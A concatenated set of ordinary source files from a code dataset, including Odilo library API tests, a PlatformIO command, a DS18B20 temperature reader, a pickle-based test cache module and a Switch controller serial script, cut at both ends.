reduced_loss, loss_dict, model, iteration):\n self.add_scalar(\"validation.total_loss\", reduced_loss, iteration)\n loss_dict = get_mean_of_loss_dict(loss_dict)\n for key in loss_dict.keys():\n self.add_scalar(\"validation.{}_loss\".format(key), loss_dict[key], iteration)\n for tag, value in model.named_parameters():\n tag = tag.replace('.', '/')\n self.add_histogram(tag, value.data.cpu().numpy(), iteration)\n","sub_path":"src/virtuoso/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"247728","text":"# encoding: utf-8\nimport json\n\nfrom nose.tools import (\n eq_, \n ok_, \n assert_raises,\n set_trace,\n)\n\nfrom api.authenticator import BasicAuthenticationProvider\nfrom api.odilo import (\n OdiloAPI,\n MockOdiloAPI,\n RecentOdiloCollectionMonitor,\n FullOdiloCollectionMonitor\n)\n\nfrom api.circulation import (\n CirculationAPI,\n)\n\nfrom api.circulation_exceptions import *\n\nfrom . import (\n DatabaseTest,\n sample_data\n)\n\nfrom core.model import (\n DataSource,\n ExternalIntegration,\n Identifier,\n Representation,\n DeliveryMechanism\n)\n\n\nclass OdiloAPITest(DatabaseTest):\n PIN = 'c4ca4238a0b923820dcc509a6f75849b'\n RECORD_ID = '00010982'\n\n def setup(self):\n super(OdiloAPITest, self).setup()\n library = self._default_library\n self.patron = self._patron()\n self.patron.authorization_identifier='0001000265'\n self.collection = MockOdiloAPI.mock_collection(self._db)\n self.circulation = CirculationAPI(\n self._db, library, api_map={ExternalIntegration.ODILO: MockOdiloAPI}\n )\n self.api = self.circulation.api_for_collection[self.collection.id]\n\n self.edition, self.licensepool = self._edition(\n data_source_name=DataSource.ODILO,\n identifier_type=Identifier.ODILO_ID,\n collection=self.collection,\n identifier_id=self.RECORD_ID,\n with_license_pool=True\n )\n\n @classmethod\n def sample_data(cls, filename):\n return sample_data(filename, 'odilo')\n\n @classmethod\n def sample_json(cls, filename):\n data = cls.sample_data(filename)\n return data, json.loads(data)\n\n def error_message(self, error_code, message=None, token=None):\n \"\"\"Create a JSON document that simulates the message served by\n Odilo given a certain error condition.\n \"\"\"\n message = message or self._str\n token = token or self._str\n data = dict(errorCode=error_code, message=message, token=token)\n return json.dumps(data)\n\n\nclass TestOdiloAPI(OdiloAPITest):\n\n def test_external_integration(self):\n eq_(self.collection.external_integration,\n self.api.external_integration(self._db))\n\n def test__run_self_tests(self):\n \"\"\"Verify that OdiloAPI._run_self_tests() calls the right\n methods.\n \"\"\"\n class Mock(MockOdiloAPI):\n \"Mock every method used by OdiloAPI._run_self_tests.\"\n\n def __init__(self, _db, collection):\n \"\"\"Stop the default constructor from running.\"\"\"\n self._db = _db\n self.collection_id = collection.id\n\n # First we will call check_creds() to get a fresh credential.\n mock_credential = object()\n def check_creds(self, force_refresh=False):\n self.check_creds_called_with = force_refresh\n return self.mock_credential\n\n # Finally, for every library associated with this\n # collection, we'll call get_patron_checkouts() using\n # the credentials of that library's test patron.\n mock_patron_checkouts = object()\n get_patron_checkouts_called_with = []\n def get_patron_checkouts(self, patron, pin):\n self.get_patron_checkouts_called_with.append(\n (patron, pin)\n )\n return self.mock_patron_checkouts\n\n # Now let's make sure two Libraries have access to this\n # Collection -- one library with a default patron and one\n # without.\n no_default_patron = self._library(name=\"no patron\")\n self.collection.libraries.append(no_default_patron)\n\n with_default_patron = self._default_library\n integration = self._external_integration(\n \"api.simple_authentication\",\n ExternalIntegration.PATRON_AUTH_GOAL,\n libraries=[with_default_patron]\n )\n p = BasicAuthenticationProvider\n integration.setting(p.TEST_IDENTIFIER).value = \"username1\"\n integration.setting(p.TEST_PASSWORD).value = \"password1\"\n\n # Now that everything is set up, run the self-test.\n api = Mock(self._db, self.collection)\n results = sorted(\n api._run_self_tests(self._db), key=lambda x: x.name\n )\n loans_failure, sitewide, loans_success = results\n\n # Make sure all three tests were run and got the expected result.\n #\n\n # We got a sitewide access token.\n eq_('Obtaining a sitewide access token', sitewide.name)\n eq_(True, sitewide.success)\n eq_(api.mock_credential, sitewide.result)\n eq_(True, api.check_creds_called_with)\n\n # We got the default patron's checkouts for the library that had\n # a default patron configured.\n eq_(\n 'Viewing the active loans for the test patron for library %s' % with_default_patron.name,\n loans_success.name\n )\n eq_(True, loans_success.success)\n # get_patron_checkouts was only called once.\n [(patron, pin)] = api.get_patron_checkouts_called_with\n eq_(\"username1\", patron.authorization_identifier)\n eq_(\"password1\", pin)\n eq_(api.mock_patron_checkouts, loans_success.result)\n\n # We couldn't get a patron access token for the other library.\n eq_(\n 'Acquiring test patron credentials for library %s' % no_default_patron.name,\n loans_failure.name\n )\n eq_(False, loans_failure.success)\n eq_(\"Library has no test patron configured.\",\n loans_failure.exception.message)\n\n def test_run_self_tests_short_circuit(self):\n \"\"\"If OdiloAPI.check_creds can't get credentials, the rest of\n the self-tests aren't even run.\n\n This probably doesn't matter much, because if check_creds doesn't\n work we won't be able to instantiate the OdiloAPI class.\n \"\"\"\n def explode(*args, **kwargs):\n raise Exception(\"Failure!\")\n self.api.check_creds = explode\n\n # Only one test will be run.\n [check_creds] = self.api._run_self_tests(self._db)\n eq_(\"Failure!\", check_creds.exception.message)\n\n\nclass TestOdiloCirculationAPI(OdiloAPITest):\n #################\n # General tests\n #################\n\n # Test 404 Not Found --> patron not found --> 'patronNotFound'\n def test_01_patron_not_found(self):\n patron_not_found_data, patron_not_found_json = self.sample_json(\"error_patron_not_found.json\")\n self.api.queue_response(404, content=patron_not_found_json)\n\n patron = self._patron()\n patron.authorization_identifier = \"no such patron\"\n assert_raises(PatronNotFoundOnRemote, self.api.checkout, patron, self.PIN, self.licensepool, 'ACSM_EPUB')\n self.api.log.info('Test patron not found ok!')\n\n # Test 404 Not Found --> record not found --> 'ERROR_DATA_NOT_FOUND'\n def test_02_data_not_found(self):\n data_not_found_data, data_not_found_json = self.sample_json(\"error_data_not_found.json\")\n self.api.queue_response(404, content=data_not_found_json)\n\n self.licensepool.identifier.identifier = '12345678'\n assert_raises(NotFoundOnRemote, self.api.checkout, self.patron, self.PIN, self.licensepool, 'ACSM_EPUB')\n self.api.log.info('Test resource not found on remote ok!')\n\n def test_make_absolute_url(self):\n\n # A relative URL is made absolute using the API's base URL.\n relative = \"/relative-url\"\n absolute = self.api._make_absolute_url(relative)\n eq_(absolute, self.api.library_api_base_url + relative)\n\n # An absolute URL is not modified.\n for protocol in ('http', 'https'):\n already_absolute = \"%s://example.com/\" % protocol \n eq_(already_absolute, self.api._make_absolute_url(already_absolute))\n\n\n #################\n # Checkout tests\n #################\n\n # Test 400 Bad Request --> Invalid format for that resource\n def test_11_checkout_fake_format(self):\n self.api.queue_response(400, content=\"\")\n assert_raises(NoAcceptableFormat, self.api.checkout, self.patron, self.PIN, self.licensepool, 'FAKE_FORMAT')\n self.api.log.info('Test invalid format for resource ok!')\n\n def test_12_checkout_acsm_epub(self):\n checkout_data, checkout_json = self.sample_json(\"checkout_acsm_epub_ok.json\")\n self.api.queue_response(200, content=checkout_json)\n self.perform_and_validate_checkout('ACSM_EPUB')\n\n def test_13_checkout_acsm_pdf(self):\n checkout_data, checkout_json = self.sample_json(\"checkout_acsm_pdf_ok.json\")\n self.api.queue_response(200, content=checkout_json)\n self.perform_and_validate_checkout('ACSM_PDF')\n\n def test_14_checkout_ebook_streaming(self):\n checkout_data, checkout_json = self.sample_json(\"checkout_ebook_streaming_ok.json\")\n self.api.queue_response(200, content=checkout_json)\n self.perform_and_validate_checkout('EBOOK_STREAMING')\n\n def test_mechanism_set_on_borrow(self):\n \"\"\"The delivery mechanism for an Odilo title is set on checkout.\"\"\"\n eq_(OdiloAPI.SET_DELIVERY_MECHANISM_AT, OdiloAPI.BORROW_STEP)\n\n def perform_and_validate_checkout(self, internal_format):\n loan_info = self.api.checkout(self.patron, self.PIN, self.licensepool, internal_format)\n ok_(loan_info, msg=\"LoanInfo null --> checkout failed!\")\n self.api.log.info('Loan ok: %s' % loan_info.identifier)\n\n #################\n # Fulfill tests\n #################\n\n def test_21_fulfill_acsm_epub(self):\n checkout_data, checkout_json = self.sample_json(\"patron_checkouts.json\")\n self.api.queue_response(200, content=checkout_json)\n\n acsm_data = self.sample_data(\"fulfill_ok_acsm_epub.acsm\")\n self.api.queue_response(200, content=acsm_data)\n\n fulfillment_info = self.fulfill('ACSM_EPUB')\n eq_(fulfillment_info.content_type[0], Representation.EPUB_MEDIA_TYPE)\n eq_(fulfillment_info.content_type[1], DeliveryMechanism.ADOBE_DRM)\n\n def test_22_fulfill_acsm_pdf(self):\n checkout_data, checkout_json = self.sample_json(\"patron_checkouts.json\")\n self.api.queue_response(200, content=checkout_json)\n\n acsm_data = self.sample_data(\"fulfill_ok_acsm_pdf.acsm\")\n self.api.queue_response(200, content=acsm_data)\n\n fulfillment_info = self.fulfill('ACSM_PDF')\n eq_(fulfillment_info.content_type[0], Representation.PDF_MEDIA_TYPE)\n eq_(fulfillment_info.content_type[1], DeliveryMechanism.ADOBE_DRM)\n\n def test_23_fulfill_ebook_streaming(self):\n checkout_data, checkout_json = self.sample_json(\"patron_checkouts.json\")\n self.api.queue_response(200, content=checkout_json)\n\n self.licensepool.identifier.identifier = '00011055'\n fulfillment_info = self.fulfill('EBOOK_STREAMING')\n eq_(fulfillment_info.content_type[0], Representation.TEXT_HTML_MEDIA_TYPE)\n eq_(fulfillment_info.content_type[1], DeliveryMechanism.STREAMING_TEXT_CONTENT_TYPE)\n\n def fulfill(self, internal_format):\n fulfillment_info = self.api.fulfill(self.patron, self.PIN, self.licensepool, internal_format)\n ok_(fulfillment_info, msg='Cannot Fulfill !!')\n\n if fulfillment_info.content_link:\n self.api.log.info('Fulfill link: %s' % fulfillment_info.content_link)\n if fulfillment_info.content:\n self.api.log.info('Fulfill content: %s' % fulfillment_info.content)\n\n return fulfillment_info\n\n #################\n # Hold tests\n #################\n\n def test_31_already_on_hold(self):\n already_on_hold_data, already_on_hold_json = self.sample_json(\"error_hold_already_in_hold.json\")\n self.api.queue_response(403, content=already_on_hold_json)\n\n assert_raises(AlreadyOnHold, self.api.place_hold, self.patron, self.PIN, self.licensepool,\n 'ejcepas@odilotid.es')\n\n self.api.log.info('Test hold already on hold ok!')\n\n def test_32_place_hold(self):\n hold_ok_data, hold_ok_json = self.sample_json(\"place_hold_ok.json\")\n self.api.queue_response(200, content=hold_ok_json)\n\n hold_info = self.api.place_hold(self.patron, self.PIN, self.licensepool, 'ejcepas@odilotid.es')\n ok_(hold_info, msg=\"HoldInfo null --> place hold failed!\")\n self.api.log.info('Hold ok: %s' % hold_info.identifier)\n\n #################\n # Patron Activity tests\n #################\n\n def test_41_patron_activity_invalid_patron(self):\n patron_not_found_data, patron_not_found_json = self.sample_json(\"error_patron_not_found.json\")\n self.api.queue_response(404, content=patron_not_found_json)\n\n assert_raises(PatronNotFoundOnRemote, self.api.patron_activity, self.patron, self.PIN)\n\n self.api.log.info('Test patron activity --> invalid patron ok!')\n\n def test_42_patron_activity(self):\n patron_checkouts_data, patron_checkouts_json = self.sample_json(\"patron_checkouts.json\")\n patron_holds_data, patron_holds_json = self.sample_json(\"patron_holds.json\")\n self.api.queue_response(200, content=patron_checkouts_json)\n self.api.queue_response(200, content=patron_holds_json)\n\n loans_and_holds = self.api.patron_activity(self.patron, self.PIN)\n ok_(loans_and_holds)\n eq_(12, len(loans_and_holds))\n self.api.log.info('Test patron activity ok !!')\n\n #################\n # Checkin tests\n #################\n\n def test_51_checkin_patron_not_found(self):\n patron_not_found_data, patron_not_found_json = self.sample_json(\"error_patron_not_found.json\")\n self.api.queue_response(404, content=patron_not_found_json)\n\n assert_raises(PatronNotFoundOnRemote, self.api.checkin, self.patron, self.PIN, self.licensepool)\n\n self.api.log.info('Test checkin --> invalid patron ok!')\n\n def test_52_checkin_checkout_not_found(self):\n checkout_not_found_data, checkout_not_found_json = self.sample_json(\"error_checkout_not_found.json\")\n self.api.queue_response(404, content=checkout_not_found_json)\n\n assert_raises(NotCheckedOut, self.api.checkin, self.patron, self.PIN, self.licensepool)\n\n self.api.log.info('Test checkin --> invalid checkout ok!')\n\n def test_53_checkin(self):\n checkout_data, checkout_json = self.sample_json(\"patron_checkouts.json\")\n self.api.queue_response(200, content=checkout_json)\n\n checkin_data, checkin_json = self.sample_json(\"checkin_ok.json\")\n self.api.queue_response(200, content=checkin_json)\n\n response = self.api.checkin(self.patron, self.PIN, self.licensepool)\n eq_(response.status_code, 200,\n msg=\"Response code != 200, cannot perform checkin for record: \" + self.licensepool.identifier.identifier\n + \" patron: \" + self.patron.authorization_identifier)\n\n checkout_returned = response.json()\n\n ok_(checkout_returned)\n eq_('4318', checkout_returned['id'])\n self.api.log.info('Checkout returned: %s' % checkout_returned['id'])\n\n #################\n # Patron Activity tests\n #################\n\n def test_61_return_hold_patron_not_found(self):\n patron_not_found_data, patron_not_found_json = self.sample_json(\"error_patron_not_found.json\")\n self.api.queue_response(404, content=patron_not_found_json)\n\n assert_raises(PatronNotFoundOnRemote, self.api.release_hold, self.patron, self.PIN, self.licensepool)\n\n self.api.log.info('Test release hold --> invalid patron ok!')\n\n def test_62_return_hold_not_found(self):\n holds_data, holds_json = self.sample_json(\"patron_holds.json\")\n self.api.queue_response(200, content=holds_json)\n\n checkin_data, checkin_json = self.sample_json(\"error_hold_not_found.json\")\n self.api.queue_response(404, content=checkin_json)\n\n response = self.api.release_hold(self.patron, self.PIN, self.licensepool)\n eq_(response, True,\n msg=\"Cannot release hold, response false \" + self.licensepool.identifier.identifier + \" patron: \"\n + self.patron.authorization_identifier)\n\n self.api.log.info('Hold returned: %s' % self.licensepool.identifier.identifier)\n\n def test_63_return_hold(self):\n holds_data, holds_json = self.sample_json(\"patron_holds.json\")\n self.api.queue_response(200, content=holds_json)\n\n release_hold_ok_data, release_hold_ok_json = self.sample_json(\"release_hold_ok.json\")\n self.api.queue_response(200, content=release_hold_ok_json)\n\n response = self.api.release_hold(self.patron, self.PIN, self.licensepool)\n eq_(response, True,\n msg=\"Cannot release hold, response false \" + self.licensepool.identifier.identifier + \" patron: \"\n + self.patron.authorization_identifier)\n\n self.api.log.info('Hold returned: %s' % self.licensepool.identifier.identifier)\n\n\nclass TestOdiloDiscoveryAPI(OdiloAPITest):\n def test_1_odilo_recent_circulation_monitor(self):\n monitor = RecentOdiloCollectionMonitor(self._db, self.collection, api_class=MockOdiloAPI)\n ok_(monitor, 'Monitor null !!')\n eq_(ExternalIntegration.ODILO, monitor.protocol, 'Wat??')\n\n records_metadata_data, records_metadata_json = self.sample_json(\"records_metadata.json\")\n monitor.api.queue_response(200, content=records_metadata_data)\n\n availability_data = self.sample_data(\"record_availability.json\")\n for record in records_metadata_json:\n monitor.api.queue_response(200, content=availability_data)\n\n monitor.api.queue_response(200, content='[]') # No more resources retrieved\n\n monitor.run_once(start=\"2017-09-01\", cutoff=None)\n\n self.api.log.info('RecentOdiloCollectionMonitor finished ok!!')\n\n def test_2_odilo_full_circulation_monitor(self):\n monitor = FullOdiloCollectionMonitor(self._db, self.collection, api_class=MockOdiloAPI)\n ok_(monitor, 'Monitor null !!')\n eq_(ExternalIntegration.ODILO, monitor.protocol, 'Wat??')\n\n records_metadata_data, records_metadata_json = self.sample_json(\"records_metadata.json\")\n monitor.api.queue_response(200, content=records_metadata_data)\n\n availability_data = self.sample_data(\"record_availability.json\")\n for record in records_metadata_json:\n monitor.api.queue_response(200, content=availability_data)\n\n monitor.api.queue_response(200, content='[]') # No more resources retrieved\n\n monitor.run_once()\n\n self.api.log.info('FullOdiloCollectionMonitor finished ok!!')\n","sub_path":"tests/test_odilo.py","file_name":"test_odilo.py","file_ext":"py","file_size_in_byte":18667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"258627793","text":"# Copyright (C) Ivan Kravets \n# See LICENSE for details.\n\nfrom os.path import join\n\nfrom click import argument, command, echo, style\n\nfrom platformio.exception import PlatformNotInstalledYet\nfrom platformio.pkgmanager import PackageManager\nfrom platformio.platforms.base import PlatformFactory\n\n\n@command(\"show\", short_help=\"Show details about installed platforms\")\n@argument(\"platform\")\ndef cli(platform):\n p = PlatformFactory().newPlatform(platform)\n if platform not in PackageManager.get_installed():\n raise PlatformNotInstalledYet(platform)\n\n # print info about platform\n echo(\"{name:<20} - {info}\".format(name=style(p.get_name(), fg=\"cyan\"),\n info=p.get_short_info()))\n\n pm = PackageManager(platform)\n for name, data in pm.get_installed(platform).items():\n pkgalias = p.get_pkg_alias(name)\n echo(\"----------\")\n echo(\"Package: %s\" % style(name, fg=\"yellow\"))\n if pkgalias:\n echo(\"Alias: %s\" % pkgalias)\n echo(\"Location: %s\" % join(pm.get_platform_dir(), data['path']))\n echo(\"Version: %d\" % int(data['version']))\n","sub_path":"platformio/commands/show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"363296132","text":"import os\nimport glob\n\nPATH = '/data1/wuhuikai/benchmark/CamVid'\nImagePath = os.path.join(PATH, 'OriginalImages')\nLabelPath = os.path.join(PATH, 'OriginalLabels')\n\nset = 'Test'\nImagePath = os.path.join(ImagePath, set)\nLabelPath = os.path.join(LabelPath, set)\n\nimage_name = [os.path.basename(im) for im in glob.glob(os.path.join(ImagePath, '*'))]\nimages = [os.path.join(ImagePath, im) for im in image_name]\nlabels = [os.path.join(LabelPath, im) for im in image_name]\n\nwith open('{}Image.txt'.format(set), 'w') as f:\n f.write('\\n'.join(images))\nwith open('{}Label.txt'.format(set), 'w') as f:\n f.write('\\n'.join(labels))\n","sub_path":"CamVid/make_list.py","file_name":"make_list.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"211434193","text":"print(\"AVERAGE CALCULATOR\")\nN = int(input(\"Number of numbers:\"))\nsumup = 0\ncount = 0\nwhile count < N:\n number = float(input(\"NO.{} is \".format(count + 1)))\n sumup = sumup + number\n count = count + 1\naverage = sumup / N\nprint(\"N = {}, Sum = {:.2f}\".format(N, sumup))\nprint(\"Average = {:.2f}\".format(average))\n","sub_path":"average.py","file_name":"average.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"647374834","text":"#!/usr/bin/python3\n\n#Oh hello there,stranger.Wellcome to this lovely little script\n#What does it do, you ask?\n#It gets the temperature from a ds18b20 sensor, along with a crc from the sensor, the current date and time and the current unix timestamp,\n#And it then stores this data to /tmp/teplota.log in CSV format like so:\n#\"ROBESEK TS1\",date,time,unixtimestamp,temperature,crc\n\n\nimport os\nimport glob\nimport time\n\nos.system('sudo modprobe w1-gpio')\nos.system('sudo modprobe w1-therm')\n\nDCbase_dir = '/sys/bus/w1/devices/'\nDCdevice_folder = glob.glob(DCbase_dir+\"28*\")[0]\nDCdevice_file = DCdevice_folder + '/w1_slave'\n\ndef getDCtemp():\n#read raw temp\n f = open(DCdevice_file, 'r')\n lines = f.readlines()\n f.close()\n\n crc_string=\"\"\n\n equals_pos = lines[1].find('t=')\n if equals_pos != -1:\n temp_string = lines[1][equals_pos+2:]\n temp = float(temp_string) / 1000.0\n#Get checksum (unused) and returns the float\n equals_pos = lines[1].find('crc=')\n if equals_pos != -1:\n crc_string = lines[1][equals_pos+2:]\n #crc = float(crc_string) - Fakt naprd\n\n return(temp, crc_string)\n\nif (__name__==\"__main__\"):\n print(getDCtemp())\n","sub_path":"SW/RPi/Python/teplotaDS.py","file_name":"teplotaDS.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"299619980","text":"import os\nimport sys\nimport cPickle as pickle\nimport dill\n\nfrom caliendo.logger import get_logger\n\nlogger = get_logger(__name__)\n\nDEFAULT_ROOT = os.path.join(os.path.abspath(os.path.dirname(__file__)), '..', '..')\nROOT = os.environ.get('CALIENDO_CACHE_PREFIX', DEFAULT_ROOT)\nCACHE_DIRECTORY = os.path.join(ROOT, 'cache')\nSEED_DIRECTORY = os.path.join(ROOT, 'seeds')\nEV_DIRECTORY = os.path.join(ROOT, 'evs')\nSTACK_DIRECTORY = os.path.join(ROOT, 'stacks')\nLOG_FILEPATH = os.path.join(ROOT, 'used')\n\nif not os.path.exists( CACHE_DIRECTORY ):\n os.makedirs(CACHE_DIRECTORY)\nif not os.path.exists( SEED_DIRECTORY ):\n os.makedirs(SEED_DIRECTORY)\nif not os.path.exists(EV_DIRECTORY):\n os.makedirs(EV_DIRECTORY)\nif not os.path.exists(STACK_DIRECTORY):\n os.makedirs(STACK_DIRECTORY)\n\ndef record_used(kind, hash):\n \"\"\"\n Indicates a cachefile with the name 'hash' of a particular kind has been used so it will note be deleted on the next purge.\n\n :param str kind: The kind of cachefile. One of 'cache', 'seeds', or 'evs'\n :param str hash: The hash for the call descriptor, expected value descriptor, or counter seed.\n\n :rtype: None\n \"\"\"\n if os.path.exists(LOG_FILEPATH):\n log = open(os.path.join(ROOT, 'used'), 'a')\n else:\n log = open(os.path.join(ROOT, 'used'), 'w+')\n\n log.writelines([\"%s...%s\\n\" % (kind, hash)])\n\ndef insert_io( args ):\n \"\"\"\n Inserts a method's i/o into the datastore\n\n :param dict args: A dictionary of the hash, stack, packet_num, methodname, args, and returnval\n\n :rtype None:\n \"\"\"\n hash = args['hash']\n\n record_used('cache', hash)\n\n packet_num = args['packet_num']\n filepath = os.path.join(CACHE_DIRECTORY, \"%s_%s\" % (hash, packet_num))\n\n try:\n with open(filepath, \"w+\") as f:\n pickle.dump(args, f)\n except IOError:\n if not os.environ.get('CALIENDO_TEST_SUITE', None):\n logger.warning( \"Caliendo failed to open \" + filepath + \", check file permissions.\" )\n\ndef get_packets(directory):\n file_list = os.listdir(directory)\n\n packets = {}\n for filename in file_list:\n hash, packet_num = tuple(filename.split('_'))\n if hash in packets:\n packets[hash] += 1\n else:\n packets[hash] = 1\n\n return packets\n\ndef get_filenames_for_hash(directory, hash):\n packets = get_packets(directory)\n paths = []\n\n if hash not in packets:\n return []\n\n for i in range(packets[hash]):\n filename = \"%s_%s\" % (hash, i)\n path = os.path.abspath(os.path.join(directory, filename))\n paths.append(path)\n\n return paths\n\ndef select_io( hash ):\n \"\"\"\n Returns the relevant i/o for a method whose call is characterized by the hash\n\n :param hash: The hash for the CallDescriptor\n\n :rtype list(tuple( hash, stack, methodname, returnval, args, packet_num )):\n \"\"\"\n res = []\n if not hash:\n return res\n\n record_used('cache', hash)\n\n for packet in get_filenames_for_hash(CACHE_DIRECTORY, hash):\n try:\n with open(packet, \"rb\") as f:\n d = pickle.load(f)\n res += [(d['hash'], d['stack'], d['methodname'], d['returnval'], d['args'], d['packet_num'])]\n except IOError:\n if not os.environ.get('CALIENDO_TEST_SUITE', None):\n logger.warning( \"Caliendo failed to open \" + packet + \" for reading.\" )\n\n return res\n\ndef select_expected_value(hash):\n if not hash:\n return []\n res = []\n record_used('evs', hash)\n for packet in get_filenames_for_hash(EV_DIRECTORY, hash):\n try:\n with open(packet, \"rb\") as f:\n fr = pickle.load(f)\n res += [(fr['call_hash'], fr['expected_value'], fr['packet_num'])]\n except IOError:\n if not os.environ.get('CALIENDO_TEST_SUITE', None):\n logger.warning(\"Failed to open %s\" % packet)\n return res\n\ndef delete_expected_value(hash):\n pass\n\ndef insert_expected_value(packet):\n hash = packet['call_hash']\n packet_num = packet['packet_num']\n ev = packet['expected_value']\n record_used('evs', hash)\n try:\n filename = \"%s_%s\" % (hash, packet_num)\n filepath = os.path.join(EV_DIRECTORY, filename)\n with open(filepath, \"w+\") as f:\n pickle.dump({'call_hash': hash,\n 'expected_value': ev,\n 'packet_num': packet_num},\n f)\n except IOError:\n if not os.environ.get('CALIENDO_TEST_SUITE', None):\n logger.warning(\"Failed to open %s\" % hash)\n\ndef insert_test( hash, random, seq ):\n \"\"\"\n Inserts a random value and sequence for a local call counter\n\n :param str hash: The hash for the call\n :param str random: A random number for the seed\n :param str seq: An integer from which to increment on the local call\n\n :rtype None:\n \"\"\"\n try:\n with open(os.path.join(SEED_DIRECTORY, \"%s_%s\" % (hash, 0)), \"w+\") as f:\n record_used('seeds', hash)\n pickle.dump({'hash': hash, 'random': random, 'seq': seq }, f)\n except IOError:\n if not os.environ.get('CALIENDO_TEST_SUITE', None):\n logger.warning( \"Failed to open %s\" % hash)\n\ndef select_test( hash ):\n \"\"\"\n Returns the seed values associated with a function call\n\n :param str hash: The hash for the function call\n\n :rtype [tuple(, )]:\n \"\"\"\n filepath = os.path.join(SEED_DIRECTORY, \"%s_%s\" % (hash, 0))\n try:\n f = None\n res = None\n record_used('seeds', hash)\n with open(filepath, \"rb\") as f:\n d = pickle.load(f)\n res = ( d['random'], d['seq'] )\n except IOError:\n if not os.environ.get('CALIENDO_TEST_SUITE', None):\n logger.warning( \"Caliendo failed to read \" + filepath )\n\n if res:\n return [res]\n return None\n\ndef delete_io( hash ):\n \"\"\"\n Deletes records associated with a particular hash\n\n :param str hash: The hash\n\n :rtype int: The number of records deleted\n \"\"\"\n res = 0\n record_used('cache', hash)\n for packet in get_filenames_for_hash(CACHE_DIRECTORY, hash):\n try:\n os.remove(packet)\n res = res + 1\n except:\n if not os.environ.get('CALIENDO_TEST_SUITE', None):\n logger.warning( \"Failed to remove file: \" + packet )\n return res\n\ndef get_unique_hashes():\n \"\"\"\n Returns all the hashes for cached calls\n\n :rtype list()\n \"\"\"\n return list( set( [ filename.split(\"_\")[0] for filename in os.listdir(CACHE_DIRECTORY) ] ) )\n\ndef delete_from_directory_by_hashes(directory, hashes):\n \"\"\"\n Deletes all cache files corresponding to a list of hashes from a directory\n\n :param str directory: The directory to delete the files from\n :param list(str) hashes: The hashes to delete the files for\n\n \"\"\"\n files = os.listdir(directory)\n if hashes == '*':\n for f in files:\n os.unlink(os.path.join(directory, f))\n for f in files:\n for h in hashes:\n if h in f:\n os.unlink(os.path.join(directory, f))\n\ndef read_used():\n \"\"\"\n Read all hashes that have been used since the last call to purge (or reset_hashes).\n\n :rtype: dict\n :returns: A dictionary of sets of hashes organized by type\n \"\"\"\n used_hashes = {\"evs\": set([]),\n \"cache\": set([]),\n \"seeds\": set([])}\n\n with open(LOG_FILEPATH, 'rb') as logfile:\n for line in logfile.readlines():\n kind, hash = tuple(line.split('...'))\n used_hashes[kind].add(hash.rstrip())\n\n return used_hashes\n\ndef read_all():\n \"\"\"\n Reads all the hashes and returns them in a dictionary by type\n\n :rtype: dict\n :returns: A dictionary of sets of hashes by type\n \"\"\"\n evs = set(get_packets(EV_DIRECTORY).keys())\n cache = set(get_packets(CACHE_DIRECTORY).keys())\n seeds = set(get_packets(SEED_DIRECTORY).keys())\n return {\"evs\" : evs,\n \"cache\": cache,\n \"seeds\": seeds}\n\ndef reset_used():\n \"\"\"\n Deletes all the records of which hashes have been used since the last call to this method.\n\n \"\"\"\n with open(LOG_FILEPATH, 'w+') as logfile:\n pass\n\ndef purge():\n \"\"\"\n Deletes all the cached files since the last call to reset_used that have not been used.\n\n \"\"\"\n all_hashes = read_all()\n used_hashes = read_used()\n\n for kind, hashes in used_hashes.items():\n to_remove = all_hashes[kind].difference(hashes)\n if kind == 'evs':\n delete_from_directory_by_hashes(EV_DIRECTORY, to_remove)\n elif kind == 'cache':\n delete_from_directory_by_hashes(CACHE_DIRECTORY, to_remove)\n elif kind == 'seeds':\n delete_from_directory_by_hashes(SEED_DIRECTORY, to_remove)\n\n reset_used()\n\ndef save_stack(stack):\n \"\"\"\n Saves a stack object to a flatfile.\n\n :param caliendo.hooks.CallStack stack: The stack to save.\n\n \"\"\"\n path = os.path.join(STACK_DIRECTORY, '%s.%s' % (stack.module, stack.caller))\n with open(path, 'w+') as f:\n dill.dump(stack, f)\n\ndef load_stack(stack):\n \"\"\"\n Loads the saved state of a CallStack and returns a whole instance given an instance with incomplete state.\n\n :param caliendo.hooks.CallStack stack: The stack to load\n\n :returns: A CallStack previously built in the context of a patch call.\n :rtype: caliendo.hooks.CallStack\n\n \"\"\"\n path = os.path.join(STACK_DIRECTORY, '%s.%s' % (stack.module, stack.caller))\n if os.path.exists(path):\n with open(path, 'rb') as f:\n return dill.load(f)\n return None\n\ndef delete_stack(stack):\n \"\"\"\n Deletes a stack that was previously saved.load_stack\n\n :param caliendo.hooks.CallStack stack: The stack to delete.\n \"\"\"\n path = os.path.join(STACK_DIRECTORY, '%s.%s' % (stack.module, stack.caller))\n if os.path.exists(path):\n os.unlink(path)\n","sub_path":"caliendo/db/flatfiles.py","file_name":"flatfiles.py","file_ext":"py","file_size_in_byte":9962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"198628331","text":"#!/usr/bin/env python3\nimport argparse\nimport serial\nfrom time import sleep\n\n\n\ndef send(msg, duration=0):\n print(msg)\n ser.write(f'{msg}\\r\\n'.encode('utf-8'));\n sleep(duration)\n ser.write(b'RELEASE\\r\\n');\nport = \"COM4\"\nser = serial.Serial(port, 9600)\n\nsend('Button A', 0.1)\nsleep(1)\nsend('Button A', 0.1)\nsleep(1)\nsend('Button A', 0.1)\nsleep(3)\n\ntry:\n while True:\n sleep(0.1)\n send('Button A', 0.1)\nexcept KeyboardInterrupt:\n send('RELEASE')\n ser.close()\n","sub_path":"SwitchAPI/scripts/irapid-fire-a.py","file_name":"irapid-fire-a.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"477175516","text":"#!/usr/bin/env python3\n\n# -*- coding: utf-8 -*-\n# @Time : 2019/7/20 